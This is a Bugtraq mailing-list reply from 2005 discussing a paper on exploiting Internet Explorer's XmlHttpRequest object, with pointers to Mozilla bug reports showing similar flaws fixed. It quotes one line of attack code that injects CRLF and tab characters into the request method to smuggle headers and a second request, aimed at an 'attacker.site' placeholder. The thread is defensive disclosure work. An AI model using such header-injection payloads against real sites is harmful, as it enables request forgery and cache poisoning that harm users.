bugtraq - Re: "Exploiting the XmlHttpRequest object in IE"

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Date: Tue, 27 Sep 2005 21:34:11 +0900
From: Yutaka OIWA <y.oiwa@...t.go.jp>
To: bugtraq@...urityfocus.com
Subject: Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit
 Klein


Hello Amit,

"Amit Klein (AKsecurity)" <aksecurity@...pop.com> writes:

>   x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
>   /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
>   .site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
>   /1.0\r\nFoobar:","http://www.attacker.site/",false);

This kind of bugs are already fixed in recent Mozilla browsers,
as shown in your reference [4].

> [4] "setRequestHeader can be exploited using newline characters", 
> Bugzilla bug 297078
> https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and 
> "XMLHttpRequest allows dangerous request headers to be set", 
> Bugzilla bug 302263
> https://bugzilla.mozilla.org/show_bug.cgi?id=302263

see comment #15 of bug 297078.

https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c15

-- 
Yutaka OIWA                        Research Center for Information Security
    National Institute of Advanced Industrial Science and Technology (AIST)
                      Mail addresses: <y.oiwa@...t.go.jp>, <yutaka@...a.jp>
OpenPGP: id[995DD3E1] fp[3C21 17D0 D953 77D3 02D7 4FEC 4754 40C1 995D D3E1]